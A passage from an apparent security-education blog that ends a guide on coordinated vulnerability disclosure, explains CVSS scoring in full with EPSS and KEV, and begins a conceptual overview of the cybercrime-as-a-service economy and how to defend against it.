them. A national coordinator such as a CERT can also step in to mediate when a vendor is unresponsive or has no security contact. **Is full disclosure ever justified?** Advocates argue it is, particularly when a vendor is unresponsive, when a flaw is already being exploited, or when users need to take immediate defensive action. The cost is that full disclosure can hand attackers a working exploit before a patch exists. Most practitioners reserve it for cases where coordination has failed, rather than as a first move. **How long is a typical disclosure window?** A common industry norm is around 90 days from report to publication, with extensions negotiated when a fix is genuinely in progress and early publication when a patch ships sooner. The exact window varies by coordinator and by the severity and complexity of the flaw. The principle is a fixed, agreed target rather than an open-ended wait. **How do bug bounties change the process?** They formalise the front of it. A vendor publishes a scope, rules, and rewards, and researchers submit through a managed channel with safe-harbour language that protects good-faith research. This pulls findings into a coordinated process instead of the open web, raises report quality, and gives researchers a clear and paid route to report. The rest of the process, triage through coordinated publication, still applies. **What should a defender do the moment a flaw affecting them is disclosed?** Determine whether a patch exists and apply it if so, prioritising by severity and by whether exploitation is likely or already observed. If no patch is available, apply compensating controls such as restricting access, adding detection, or disabling the affected feature. Watch for public exploit code, since its appearance sharply raises urgency, and treat the period right after disclosure as the window attackers are most likely to use. Record the decision and the timeline you followed, so a later review can see why a given flaw was patched when it was. Coordinated disclosure is a quiet process that only makes news when it fails. When it works, a researcher and a vendor cooperate under a shared clock, a patch and an advisory land together, and defenders learn about a flaw at the same moment they gain the means to close it. That orderly handoff, from finding to fix to publication, is what keeps the discovery of a serious flaw from becoming the next breach. ## Related guides - [The Kaseya VSA Attack](/kaseya-vsa-attack-explained) - [The CVE System Explained](/the-cve-system-explained) - [Zero-Day Vulnerabilities](/zero-day-vulnerabilities) - [The Bug Bounty Economy Explained](/bug-bounty-economy-explained) - [The Exploit Market Explained](/the-exploit-market-explained) - [The KEV Catalog Explained](/kev-catalog-explained) ### Sources - Coordinated Vulnerability Disclosure Process (CISA): https://www.cisa.gov/coordinated-vulnerability-disclosure-process - The CERT Guide to Coordinated Vulnerability Disclosure (CERT Coordination Center (Carnegie Mellon SEI)): https://vuls.cert.org/confluence/display/CVD - OWASP Vulnerability Disclosure Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html --- ## CVSS Explained: How Vulnerability Scoring Actually Works > A plain guide to CVSS: what base, temporal and environmental metrics measure, how the 0-to-10 score is built, v3.1 vs v4.0, and its limits. - URL: https://blog.pwnsy.com/cvss-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: beginner - Category: threat-intel - Tags: cvss, vulnerability-management, threat-intel, cve, patch-prioritization - Related: [Genesis Market Explained: The Bot Shop and Operation Cookie Monster](https://blog.pwnsy.com/genesis-market-explained), [How Dark Web Monitoring Works: Sources, Alerts and Limits](https://blog.pwnsy.com/how-dark-web-monitoring-works), [The Capital One Breach: SSRF, Metadata Credentials, 100 Million Records](https://blog.pwnsy.com/capital-one-breach-explained) ### TL;DR - CVSS turns the technical properties of a vulnerability into a 0.0-to-10.0 severity number using a fixed formula, so different teams score the same flaw the same way. - The Base score is what most people mean by 'the CVSS score': it measures how the flaw is exploited and what it damages, and it never changes over time. - Temporal (v3.1) and Threat (v4.0) metrics adjust for whether working exploit code exists, and Environmental metrics adjust for your specific deployment. - A high CVSS score tells you how bad a flaw could be, not how likely it is to be used against you. Pair it with EPSS and CISA KEV before you decide what to patch first. ### Key Takeaways - The Base metric group has three exploitability metrics (Attack Vector, Attack Complexity, Privileges Required, User Interaction), a Scope metric, and three impact metrics (Confidentiality, Integrity, Availability). - v3.1 severity bands: 0.0 None, 0.1-3.9 Low, 4.0-6.9 Medium, 7.0-8.9 High, 9.0-10.0 Critical. - CVSS v4.0 (published 2023) adds Attack Requirements, splits User Interaction into Passive and Active, replaces Scope with Subsequent System impact, and adds Supplemental metrics like Safety and Automatable. - Most public scores are Base-only, which systematically over-weights severity and under-weights real-world exploitability. - EPSS answers 'how likely is exploitation', KEV answers 'is it already exploited', CVSS answers 'how bad if it is'. You need all three. Every published vulnerability arrives with a number attached. `CVE-2024-XXXX, CVSS 9.8`. That number decides emergency change windows, board reporting, and whether an engineer gets paged at 2am. It is worth understanding exactly what it measures, and just as importantly, what it does not. CVSS, the Common Vulnerability Scoring System, is an open standard maintained by FIRST. Its job is narrow and useful: take the technical characteristics of a vulnerability and turn them into a repeatable 0.0-to-10.0 severity score, so two analysts on opposite sides of the world grade the same flaw the same way. That repeatability is the whole point. Before CVSS, severity was whatever the vendor's marketing department felt like calling it. ## What the score is built from CVSS is organised into three metric groups. Only the first is mandatory, which is why it is the one you almost always see. **Base metrics** describe the vulnerability itself: how it is reached and what it breaks. These are intrinsic properties that do not change over time or between organisations. The Base score is the headline number. **Temporal metrics** (v3.1) or **Threat metrics** (v4.0) adjust for the current state of the world: does working exploit code exist yet, is there an official fix. These move as a vulnerability ages. **Environmental metrics** let you re-score the flaw for your own deployment. A database bug rated Critical everywhere might be Low on a segmented, internal-only host with no sensitive data. ## The Base metrics in detail The Base group splits into exploitability (how hard is the attack) and impact (what does a successful attack cost you). | Metric | Values | What it captures | |---|---|---| | Attack Vector (AV) | Network, Adjacent, Local, Physical | How close the attacker must be | | Attack Complexity (AC) | Low, High | Whether special conditions are needed | | Privileges Required (PR) | None, Low, High | Access the attacker needs beforehand | | User Interaction (UI) | None, Required | Whether a victim has to do something | | Scope (S) | Unchanged, Changed | Can the impact cross a security boundary | | Confidentiality (C) | None, Low, High | Data disclosure | | Integrity (I) | None, Low, High | Data or system modification | | Availability (A) | None, Low, High | Loss of access or uptime | A remotely reachable flaw that needs no privileges, no user interaction, and fully compromises confidentiality, integrity and availability is the recipe for a 9.8 or 10.0. Move any of those toward the harder or lower-impact end and the score drops. The **Scope** metric is the one people miss. It asks whether exploiting the vulnerable component lets the attacker affect resources beyond it, for example escaping a sandbox or a hypervisor. A Changed scope pushes the score up sharply because the blast radius grows. ## From metrics to a number Each metric maps to a numeric constant. The exploitability metrics combine into an exploitability sub-score, the impact metrics into an impact sub-score, and a formula merges them (with a Scope adjustment) into the final 0.0-to-10.0 value. You do not need to do this arithmetic by hand. The [NVD CVSS calculator](https://nvd.nist.gov/vuln-metrics/cvss) shows the vector string and the resulting score as you click. The output is both a number and a **vector string**, a compact record of every choice, for example `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`. The vector matters more than the number, because it is auditable. Anyone can read it and see why the score landed where it did. Severity bands for v3.1: | Score | Rating | |---|---| | 0.0 | None | | 0.1 - 3.9 | Low | | 4.0 - 6.9 | Medium | | 7.0 - 8.9 | High | | 9.0 - 10.0 | Critical | ## What changed in CVSS v4.0 FIRST published CVSS v4.0 in 2023 to fix long-standing complaints, chiefly that v3.1 scores clustered too tightly in the 7-to-10 range and gave defenders little room to differentiate. The main changes: - **Attack Requirements (AT)** is a new metric that captures conditions outside the attacker's control (race windows, specific configurations), separating them from Attack Complexity. - **User Interaction** now has three levels: None, Passive, and Active, so "the victim merely has to view a page" is scored differently from "the victim must complete a multi-step action". - **Scope is gone.** In its place, impact is scored twice: on the Vulnerable System and on the Subsequent System. This is a cleaner way to express blast radius. - **Supplemental metrics** were added, including Safety, Automatable, Recovery, and Value Density. These do not change the number; they carry context a defender can act on. - **Nomenclature** makes the scope of a score explicit: CVSS-B (Base only), CVSS-BT (Base + Threat), CVSS-BTE (Base + Threat + Environmental). When a vendor quotes a CVSS v4.0 score, check whether it is CVSS-B or CVSS-BTE. A Base-only score ignores whether an exploit exists and ignores your environment. It is the raw ceiling, not a prioritisation. ## The Temporal and Threat metrics The second metric group is the one most people never see, because public scores rarely include it. In v3.1 it is called Temporal, and in v4.0 it is folded into the Threat metric group. Its job is to adjust the Base severity for the current state of the world around a flaw, which changes as the flaw ages. In v3.1 the Temporal group has three metrics. Exploit Code Maturity captures whether working exploit code exists and how reliable it is, ranging from unproven through proof-of-concept to functional and high. Remediation Level records whether a fix is available, from an official patch through a temporary workaround down to unavailable. Report Confidence reflects how sure the world is that the flaw is real and well understood. Each of these can only lower or leave unchanged the Base score, never raise it above the Base ceiling, so the Temporal score sits at or below the Base number. v4.0 simplifies this considerably. It replaces the three Temporal metrics with a single Threat metric focused on exploit maturity, on the reasoning that the presence and maturity of exploitation is the piece of time-varying information defenders most need. The effect is the same in spirit: take the intrinsic Base severity and temper it with what is currently known about real-world exploitation and available fixes. ## The Environmental metrics The third group lets you re-score a flaw for your own deployment, and it is where CVSS becomes genuinely useful for prioritisation rather than a generic label. The Environmental metrics come in two parts. First, you can override any Base metric to reflect your situation. If a flaw requires network access in general but the affected service is only reachable from an isolated internal segment in your environment, you can set Attack Vector accordingly and the score drops. Second, you can weight the impact metrics by how much confidentiality, integrity, and availability matter for the specific asset, using Security Requirements. A confidentiality-shattering flaw on a system that holds nothing sensitive scores lower once you tell the model that confidentiality is a low requirement there; the same flaw on a system full of regulated data scores higher. The Environmental group is why the same CVE can be Critical for one organisation and Medium for another. The Base score is a starting point that assumes a generic, worst-reasonable deployment. Applying the Environmental metrics turns that generic figure into one that reflects where the flaw actually lives in your estate, which is the version of the score worth acting on. Applying Environmental metrics to every vulnerability is impractical, and trying to do so buries teams in analysis. The productive approach is to re-score only the flaws that survive an initial filter: high Base severity combined with a meaningful EPSS or a KEV listing, on assets that matter. Spending the environmental effort on that short list, rather than the whole queue, is where the metric group pays off. ## Why the score alone will mislead you Here is the trap. The score you see on a CVE page is almost always **Base-only**, because the person publishing it does not know your environment and often does not yet know whether an exploit exists. Base-only scoring answers one question well: how bad is this if someone uses it. It says nothing about whether anyone will. The result is a patch queue full of 9.8s, most of which will never be exploited, sitting next to a "medium" 6.5 that is being weaponised in the wild right now. Sort purely by CVSS and you will spend your week on the wrong flaws. Two freely available signals fix this: - **EPSS** estimates the probability a vulnerability will be exploited in the next 30 days. It is the missing likelihood axis. See [EPSS Explained](/epss-explained). - **CISA KEV** is a catalog of vulnerabilities known to be exploited right now. If a CVE is on it, urgency is no longer a guess. See [The KEV Catalog Explained](/kev-catalog-explained). The practical rule: **CVSS for severity, EPSS for likelihood, KEV for confirmation.** A flaw that is high on all three is a genuine emergency. A 9.8 with a near-zero EPSS and no KEV listing can usually wait for the normal patch cycle. Our Exploit Intelligence dashboard plots live CVEs on a CVSS-by-EPSS matrix and shows the time from CVE publication to CISA KEV listing, so you can see which high-severity flaws are actually under pressure rather than just theoretically dangerous. ## How to actually use CVSS 1. **Treat the public Base score as a filter, not a verdict.** It narrows the field; it does not rank it. 2. **Re-score with Environmental metrics for anything that matters.** A Critical flaw on an isolated test box is not a Critical problem. 3. **Join it to EPSS and KEV before you set the patch order.** Severity times likelihood beats severity alone every time. 4. **Keep the vector string, not just the number.** When someone challenges a rating six months later, the vector is your evidence. To re-score a vector with your own environmental metrics, or to load a CVE and see every published vector beside its EPSS and KEV status, use our [CVSS calculator](https://pwnsy.com/tools/cvss-calculator/). It scores CVSS 3.1 and 4.0 and flags published scores that their own vector does not produce. CVSS is a good answer to a specific question. Ask it the right question, pair it with the signals it was never designed to provide, and it becomes the backbone of a defensible vulnerability programme. Use the number on its own and it becomes a very precise way to prioritise badly. ## Reading a vector string, field by field The number is a summary; the vector string is the evidence. Learning to read it turns CVSS from a black box into something you can audit. Take the example `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` and walk it left to right. The prefix `CVSS:3.1` states the version, which matters because the same metrics can mean subtly different things across versions. `AV:N` is Attack Vector Network, meaning the flaw is reachable over a network rather than requiring local or physical access, the broadest and most dangerous reach. `AC:L` is Attack Complexity Low, meaning no special conditions outside the attacker's control are needed. `PR:N` is Privileges Required None, so the attacker needs no prior access. `UI:N` is User Interaction None, so no victim has to click or open anything. Those four exploitability metrics together describe a flaw anyone can reach and trigger at will. The next field, `S:U`, is Scope Unchanged, meaning the impact stays within the vulnerable component and does not cross into other security authorities. Then come the three impact metrics: `C:H`, `I:H`, and `A:H`, High confidentiality, integrity, and availability impact, meaning a successful attack fully compromises the data and the system's operation. Read as a sentence, the vector says: reachable over the network, easy, no privileges, no user interaction, contained scope, total impact on all three of confidentiality, integrity, and availability. That combination is what produces a score in the 9-plus range. Change `AV:N` to `AV:L` and the reach narrows to local access, dropping the score. Change `UI:N` to `UI:R` and the attack now needs a victim to act, dropping it further. The value of the string is that anyone can perform this reading and see why the number landed where it did, which is what makes a score defensible six months later. ## A worked scoring example Consider a flaw described in plain terms: an unauthenticated attacker who can send a crafted request to a service over the network can read arbitrary files from the server, but cannot modify anything or take the service down. Score it metric by metric. Attack Vector is Network, because the request travels over the network. Attack Complexity is Low, assuming no unusual preconditions. Privileges Required is None, because the attacker needs no account. User Interaction is None, because no victim participates. Scope is Unchanged, because reading files affects the vulnerable component's own authority. For impact, Confidentiality is High, since arbitrary file read is a serious disclosure. Integrity is None, because nothing can be modified. Availability is None, because the service keeps running. That yields a vector of `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`. The impact is real but one-dimensional, confidentiality only, so the score lands in the High band rather than Critical. Change the flaw so the attacker can also modify files, raising Integrity to High, and the score climbs because two impact dimensions are now maxed. This is the useful discipline CVSS enforces: it forces you to separate how reachable a flaw is from how much damage it does, and to be explicit about each. Two vulnerabilities described with identical prose can score differently once you pin down the metrics, because prose hides the details CVSS makes explicit. Does the attack truly need no privileges, or a low-privileged account? Does it require the victim to open a file, or nothing at all? These distinctions move the score by whole points. When a score surprises you, the answer is almost always in one of these metrics, which is why the vector string, not the number, is the thing to examine. ## How CVSS relates to EPSS and KEV CVSS is one of three widely used signals, and confusing their purposes is the most common mistake in vulnerability prioritisation. Each answers a different question, and they are complementary rather than competing. | Signal | Question it answers | What it is based on | What it does not tell you | |---|---|---|---| | CVSS | How bad is this if exploited | Intrinsic technical properties | Whether it will be exploited | | EPSS | How likely is exploitation soon | Statistical model of observed activity | How much damage it would do | | CISA KEV | Is it being exploited now | Confirmed real-world exploitation | Future likelihood or severity | CVSS gives severity, the ceiling on how much harm a flaw could do. EPSS gives likelihood, a probability that exploitation will occur in the near term. KEV gives confirmation, a binary statement that exploitation is already happening. A flaw that scores high on all three is a genuine emergency. A CVSS 9.8 with a near-zero EPSS and no KEV listing is a theoretical ceiling with little pressure behind it, and can usually wait for the normal patch cycle. Sorting a patch queue by CVSS alone puts the theoretical ceiling above the flaw that is actively under attack, which is exactly backwards. ## Common mistakes and misconceptions **"The CVSS score tells me how urgent this is."** It tells you how severe the flaw could be, which is only part of urgency. Urgency also depends on likelihood and confirmation of exploitation, which CVSS does not measure. A severe flaw nobody is exploiting is less urgent than a moderate flaw under active attack. **"A higher number always means patch it first."** Base scores cluster in the high range, so a queue full of 9.8s gives little to differentiate. Re-scoring with environmental context and joining to EPSS and KEV separates the genuinely pressing from the merely severe far better than the raw number. **"The score accounts for my environment."** The public score almost never does. It is Base-only, computed without knowledge of your deployment. A flaw that is Critical in general can be low-impact on an isolated internal host with no sensitive data, which only the Environmental metrics, applied by you, can express. **"CVSS measures risk."** Risk combines the likelihood of an event with its impact. CVSS measures a form of impact severity, not likelihood, so it is one input to risk rather than a risk score itself. Treating it as risk overweights severe flaws that will never be exploited. **"v4.0 makes older scores meaningless."** v3.1 scores remain valid and widely used, and the two versions coexist. v4.0 improves differentiation and adds context, but a v3.1 vector is still a legitimate, auditable record. What matters is knowing which version and which metric groups a given score reflects, which the version prefix and nomenclature make explicit. ## Frequently asked questions **What does the CVSS number actually represent?** It represents the severity of a vulnerability, a 0.0 to 10.0 measure of how it is exploited and how much damage a successful attack causes, derived from a fixed formula over a set of metrics. It is a repeatable severity rating, so different analysts grade the same flaw the same way. It deliberately says nothing about how likely the flaw is to be exploited in practice. **Why is my CVE showing only a Base score?** Because the person publishing it usually cannot know your environment and often does not yet know whether working exploit code exists. Base metrics are the intrinsic, unchanging properties of the flaw, so they are what can be published for everyone. The Temporal or Threat and Environmental metrics require information specific to a point in time or a deployment, which you supply yourself. **Should I use CVSS v3.1 or v4.0?** Use whichever the source provides, and understand its metrics. v4.0 offers finer differentiation and better context through Attack Requirements, a three-level User Interaction, dual system impact in place of Scope, and supplemental metrics. Many sources still publish v3.1, and both remain valid. Consistency and knowing which version you are reading matter more than always choosing one. **Is a 10.0 the worst possible vulnerability?** It is the maximum severity the formula expresses: network-reachable, no privileges, no user interaction, and full impact, often with a scope change. It is not a statement that the flaw will be exploited or that it matters in your environment. A 10.0 that is not reachable in your deployment or that nobody is exploiting can be less pressing than a lower-scored flaw under active attack. **How does the Scope metric change the score?** In v3.1, Scope captures whether exploiting the vulnerable component lets the attacker affect resources beyond it, such as escaping a sandbox. A Changed scope raises the score sharply because the blast radius grows past the original component. v4.0 replaces this single flag with separate impact scoring for the vulnerable system and any subsequent system, a cleaner way to express the same idea of impact crossing a boundary. **Can I rely on CVSS alone to run a patch programme?** Not effectively. On its own it produces a queue dominated by severe flaws regardless of whether they are exploited, so you spend effort on the wrong ones. Combine it with EPSS for likelihood and CISA KEV for confirmation, and re-score important assets with Environmental metrics. Used that way, CVSS is a strong backbone; used alone, it is a precise way to prioritise badly. **Why do two sources sometimes give different CVSS scores for the same flaw?** Because scoring involves judgment about each metric, and reasonable analysts can differ on values like Attack Complexity or the exact impact. Different sources may also score different configurations of the same flaw. This is why the vector string matters: it exposes the specific choices behind a score, so you can see where two sources diverged and decide which reading fits your situation. ## Related guides - [CVSS vs EPSS](/cvss-vs-epss) - [EPSS Explained](/epss-explained) - [The KEV Catalog Explained](/kev-catalog-explained) - [The CVE System Explained](/the-cve-system-explained) - [Vulnerability Management Lifecycle](/vulnerability-management-lifecycle) - [Zero-Day Vulnerabilities](/zero-day-vulnerabilities) ### Sources - CVSS v3.1 Specification Document (FIRST (Forum of Incident Response and Security Teams)): https://www.first.org/cvss/v3.1/specification-document - CVSS v4.0 Specification Document (FIRST): https://www.first.org/cvss/v4.0/specification-document - NVD CVSS Calculator (NIST National Vulnerability Database): https://nvd.nist.gov/vuln-metrics/cvss --- ## Cybercrime-as-a-Service Explained: The Criminal Gig Economy > How the cybercrime-as-a-service economy works: RaaS, phishing kits, malware, access brokers, and bulletproof hosting, and why it lowered the skill bar. - URL: https://blog.pwnsy.com/cybercrime-as-a-service-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: beginner - Category: threat-intel - Tags: cybercrime, threat-intel, ransomware, malware-as-a-service, dark-web - Related: [The Next 10 Years of Cybersecurity: A Forecast to 2036](https://blog.pwnsy.com/cybersecurity-next-10-years), [Genesis Market Explained: The Bot Shop and Operation Cookie Monster](https://blog.pwnsy.com/genesis-market-explained), [How Dark Web Monitoring Works: Sources, Alerts and Limits](https://blog.pwnsy.com/how-dark-web-monitoring-works) ### TL;DR - Cybercrime-as-a-service (CaaS) is the outsourcing economy of the criminal world: attackers rent tools, access, and infrastructure instead of building everything themselves. - The market is specialised. Different crews sell ransomware kits, phishing kits, malware, stolen access, and criminal hosting, and buyers assemble an attack from parts. - This specialisation lowered the skill barrier dramatically. You no longer need to write malware or break in yourself, you can buy each piece and combine them. - The same division of labour that scaled the criminal economy is also its weakness: each service is a supply chain with choke points a defender can target. ### Key Takeaways - Ransomware-as-a-service splits work between operators who build the malware and affiliates who run attacks, sharing the proceeds. - Phishing kits and phishing-as-a-service package convincing fake login pages and delivery so a low-skill buyer can run credential theft at scale. - Malware-as-a-service rents infostealers, loaders, and botnets on a subscription, complete with dashboards and support. - Initial access brokers and bulletproof hosting supply the footholds and the resilient infrastructure that keep the rest of the economy running. - Because attacks are now assembled from bought parts, defence should aim at the shared services (delivery, access, hosting) rather than only the final payload. There is a common picture of a cybercriminal: a lone expert writing custom code in a dark room. That picture is decades out of date. Modern cybercrime looks like a supply chain. One group writes the malware, another sells the way into your network, a third rents the servers, and a fourth actually runs the attack, having built almost none of it. Each is a business with customers, pricing, and support. This is cybercrime-as-a-service, and it is the single biggest reason attacks have scaled the way they have. When every part of an attack can be rented, the skill and effort needed to launch one collapse. ## What "as-a-service" means here The legitimate software world moved to services long ago. You do not build your own email server, you subscribe to one. Criminals copied the model exactly. Instead of every attacker mastering every skill, specialists build one capability well and rent it to others. The effect is a marketplace where an attack is assembled from parts: - Someone provides the **way in** (stolen access). - Someone provides the **weapon** (ransomware, a stealer, a botnet). - Someone provides the **delivery** (phishing kits and lures). - Someone provides the **infrastructure** (criminal hosting and traffic services). - A buyer combines these into an operation. None of the participants needs to be good at all of it. That division of labour is what makes the ecosystem productive and resilient, and it is why the barrier to entry keeps falling. ## The main services on offer The criminal market has specialised into recognisable service categories. | Service | What it provides | Who buys it | |---|---|---| | Ransomware-as-a-service | Ready-made encryptor, leak site, negotiation support | Affiliates who run the attacks | | Phishing-as-a-service | Fake login pages, kits, delivery | Low-skill credential thieves | | Malware-as-a-service | Infostealers, loaders, botnets on subscription | A broad range of criminals | | Access-as-a-service | Working footholds into named organisations | Ransomware crews and others | | Bulletproof hosting | Servers and infrastructure that ignore takedowns | Almost everyone in the ecosystem | ### Ransomware-as-a-service Ransomware-as-a-service (RaaS) is the model that made ransomware an industry. Operators build and maintain the malware, the payment and negotiation systems, and the leak site used for extortion. Affiliates rent the kit and carry out the intrusions, and the two sides split the ransom. It lets people with intrusion skills but no malware development skills run professional-grade attacks. Our [ransomware-as-a-service guide](/ransomware-as-a-service-explained) breaks the model down in full. ### Phishing kits and phishing-as-a-service A phishing kit is a packaged fake: convincing clone login pages, the code to capture and relay credentials, and often templates for well-known brands. Phishing-as-a-service goes further and rents the whole operation, including hosting and delivery, sometimes with tooling to relay multi-factor prompts in real time. MITRE ATT&CK tracks the underlying technique as [Phishing (T1566)](https://attack.mitre.org/techniques/T1566/). The result is that running a credible phishing campaign no longer requires building anything. ### Malware-as-a-service Infostealers, loaders, and botnets are rented on subscription, frequently with the trappings of a real product: a control dashboard, regular updates, and customer support. Infostealer operations are a prime example, harvesting credentials and session cookies and selling both the malware and the stolen logs. Our [infostealer guide](/what-is-an-infostealer) covers how that particular service works end to end. ### Access-as-a-service Initial access brokers sell footholds into specific organisations: valid VPN or RDP credentials, working accounts, or webshells. This service removes the hardest step of an attack, the break-in, and hands it to a buyer as a product. Our [initial access brokers guide](/initial-access-brokers-explained) explains the supply layer that feeds ransomware directly. ### Bulletproof hosting Underneath all of it sits the infrastructure. Bulletproof hosting providers rent servers and network services while deliberately ignoring abuse complaints and takedown requests, often operating from jurisdictions where enforcement is weak. They are the criminal equivalent of a cloud provider, and their resilience is what keeps phishing pages, malware servers, and leak sites online. A modern ransomware incident might combine a foothold bought from a broker, that foothold sourced from a stealer log bought from a malware operator, an encryptor rented from a RaaS crew, all running on bulletproof hosting. Four services, four suppliers, one attack, and the person running it built none of the pieces. ## Why this lowered the skill barrier Two decades ago, launching a serious attack meant real technical depth: writing or heavily modifying malware, finding your own way in, and running your own infrastructure. The as-a-service economy removed each of those requirements one at a time. - You no longer need to **write malware**, you rent it with a dashboard. - You no longer need to **break in**, you buy the access. - You no longer need to **run infrastructure**, you rent bulletproof hosting. - You no longer need to **build phishing pages**, you subscribe to a kit. What remains for the buyer is closer to operating a business than engineering an exploit: pick suppliers, combine services, and run the operation. This is why the population of capable attackers grew so fast. Specialisation let a small number of skilled builders equip a large number of less-skilled operators, and the total volume of attacks rose accordingly. It also professionalised the ecosystem. Services compete on quality, reputation, and support. Sellers build standing on criminal forums, offer guarantees, and screen buyers, because trust is what lets an illegal market keep functioning. Our [dark web markets guide](/dark-web-markets-explained) covers the venues where that trade takes place. The division of labour that scaled cybercrime also created shared choke points. Many different attacks depend on the same few services: phishing delivery, stolen access, criminal hosting. Disrupting a widely used service, or defending against it well, hurts every downstream attacker that relied on it, across the whole market rather than a single crew. ## How the model evolved The service economy did not appear fully formed. It grew out of a few slow shifts that each removed a bottleneck. The first was the move from custom code to reusable kits. Early banking trojans and exploit packs were sold or leaked, and once a working codebase existed in the wild, other people extended it and rented it out. A tool built once could serve hundreds of operators, which is the same logic that drives legitimate software. The second shift was the arrival of cryptocurrency as a settlement layer. Anonymous, irreversible payment made it practical to charge subscriptions, take deposits, and split proceeds between parties who never meet and do not trust each other. A criminal service that cannot get paid reliably cannot become a business. Payment rails turned one-off scams into recurring revenue. The third shift was specialisation itself. As the money grew, it became worth someone's time to be excellent at one narrow thing: writing a stealer, running a phishing panel, brokering access, keeping servers online. Each specialist could sell to every operator in the market rather than run attacks alone. That is the division of labour that defines the ecosystem today, and it keeps deepening as niches split into sub-niches. The result is a market that looks less like a hacker scene and more like an industry with tiers of suppliers, resellers, and end users. The people who run the visible attacks are frequently the least technical participants in the chain. ## Walking one attack through the supply chain It helps to trace a single realistic intrusion through the services it rents, because the assembly is where the model becomes concrete. The steps below describe the general pattern, with no specific victim or event attached. 1. **The access is sourced.** An initial access broker has valid credentials for a company's remote-access portal, harvested weeks earlier from an infostealer log. The broker lists the access with a rough description of the target's size and sector, and an affiliate buys it. 2. **The weapon is rented.** The affiliate already has a subscription to a ransomware kit. The operator behind that kit supplies the encryptor, a leak site to host stolen data, and a negotiation panel, in exchange for a share of any payment. 3. **The ground is prepared.** The affiliate logs in with the bought credentials, looks around, and uses widely available tooling to find privileged accounts and reach more systems. Much of this stage uses legitimate administrative features rather than custom malware. 4. **The data is taken and the payload runs.** The affiliate copies valuable data out to storage they control, then deploys the encryptor across the reachable machines. The leak site and negotiation panel come from the kit operator. 5. **The infrastructure holds it together.** The credential harvesting, the staging servers, and the leak site all sit on bulletproof hosting that ignores abuse complaints, so takedown requests go nowhere. The affiliate at the centre of this wrote none of the malware, discovered none of the access, and built none of the infrastructure. They coordinated four suppliers and ran the operation. That is the shape of a modern intrusion, and it is why counting skilled malware authors badly underestimates the number of people capable of causing serious harm. ## How the market keeps itself honest An illegal market has a trust problem that a legal one solves with courts and contracts. Criminal services solve it with reputation and intermediaries, and understanding those mechanics explains why the ecosystem is stable enough to function. Sellers build standing over time. A vendor with a long history of delivering working products and honouring refunds can charge more and attract better buyers, so reputation becomes an asset worth protecting. New sellers start cheap and unproven, and they climb by delivering. Forums and markets add escrow, where a neutral party holds payment until the buyer confirms the goods work. That removes the incentive for a one-off scam, because the seller only gets paid on delivery. Disputes go to moderators who can freeze funds and ban accounts. The [dark web markets guide](/dark-web-markets-explained) covers these venues and their rules in detail. Vetting runs in both directions. Access brokers screen buyers to avoid selling to researchers or law enforcement, and ransomware operators interview affiliates before granting them a kit. The friction is deliberate, because a careless partner draws attention that hurts everyone in the chain. The same trust systems that make the market work also make it observable. Vendors advertise, build reviews, and defend their names, which means their tooling, pricing, and target preferences leak into public view. Tracking a service and its reputation over time tells defenders which delivery methods and access types are in fashion before the finished attacks arrive. ## Detection signals: spotting a rented attack Because an attack is assembled from standard parts, it tends to carry the fingerprints of those parts. Defenders who know the catalogue can recognise the pieces. - **Credentials appearing in stealer-log dumps.** Your users' logins surfacing in infostealer collections is an early sign that access to your environment is being packaged for sale. This is upstream of any intrusion. - **Remote-access logins from unusual locations or hosts.** Bought footholds are used from the buyer's infrastructure, so a valid account authenticating from a new country or a hosting provider is a strong lead. - **Off-the-shelf tooling in the environment.** Widely rented loaders, common post-exploitation frameworks, and known persistence patterns indicate a buyer running standard playbooks rather than bespoke work. - **Known phishing-kit artifacts.** Reused kit templates, credential-relay endpoints, and recognisable landing-page code point to phishing-as-a-service rather than a hand-built lure. MITRE tracks the technique as [Phishing (T1566)](https://attack.mitre.org/techniques/T1566/). - **Leak-site and negotiation infrastructure.** Naming and formatting conventions that match a specific ransomware kit tie an incident to a known operator and its affiliate pool. None of these is proof on its own. Their value is in narrowing the field: recognising which services an incident rented tells you which supplier's playbook you are facing and what usually comes next. ## The old model against the service model Setting the two side by side shows why the shift changed the threat landscape so completely. | Dimension | Lone-operator model | Service model | |---|---|---| | Skills required | Deep, across malware, intrusion, and infrastructure | Narrow, mostly operational and coordination | | Time to launch | Weeks or months of building | Days, by assembling bought parts | | Cost structure | High upfront effort, low cash | Low effort, recurring cash for subscriptions and access | | Resilience | Fails if the one operator is caught | Survives loss of any single participant | | Population of attackers | Small, limited by skill | Large, limited mostly by willingness to pay | | Attribution | One actor, one toolset | Many suppliers, shared tooling, blurred lines | The right-hand column is the world defenders now operate in. The barrier that used to be technical is now mostly financial, and money is far easier to find than years of skill. That single change is why the volume of attacks rose so sharply and why the same malware families and access patterns turn up across unrelated incidents. ## Common misconceptions **"Attackers are lone geniuses."** The image of a single expert doing everything is the exception now. Most operations are coordinated purchases from specialists, and the person running the attack is often the least skilled link. **"Cheap tools mean amateur threats."** A rented kit can be professionally built and maintained by people who are very good at their niche. Low price for the buyer reflects the economics of selling one tool to many operators, and it says nothing about the tool's quality. **"Stopping one group ends the threat."** Because attacks draw on shared services, removing a single crew leaves the suppliers intact. The access brokers, malware operators, and hosting providers keep serving everyone else. Durable disruption targets the shared layer. **"It is all on the dark web."** Plenty of this trade happens on ordinary messaging platforms and semi-public forums. The venue varies, and treating it as a single hidden marketplace misreads how distributed the ecosystem is, and how easy much of it is to reach. ## How to defend in a service economy When attacks are assembled from bought parts, the most efficient defence targets the shared services rather than chasing each final payload. 1. **Harden against delivery.** Phishing is the entry point for a huge share of the market. Phishing-resistant authentication (passkeys and hardware keys), strong email filtering, and user awareness cut off the most rented service of all. 2. **Deny the footholds brokers sell.** Multi-factor authentication on all remote access, no RDP exposed to the internet, fast patching of edge devices, and monitoring for your credentials in stealer-log dumps. This starves the access-as-a-service layer. 3. **Assume breach and reduce dwell time.** Because affiliates often start from bought access, watch for lateral movement and credential abuse inside the network, as well as at the perimeter. 4. **Use threat intelligence on the services as well as the actors.** Knowing which delivery methods, malware families, and access types are being rented tells you where to spend defensive effort. 5. **Keep resilient backups and a tested response plan.** The final payload in this economy is frequently ransomware. Recoverability is what turns a business-ending event into an incident. To see the operators, affiliates, and brokers that make up this economy, along with the sectors they target, our Threat Groups directory 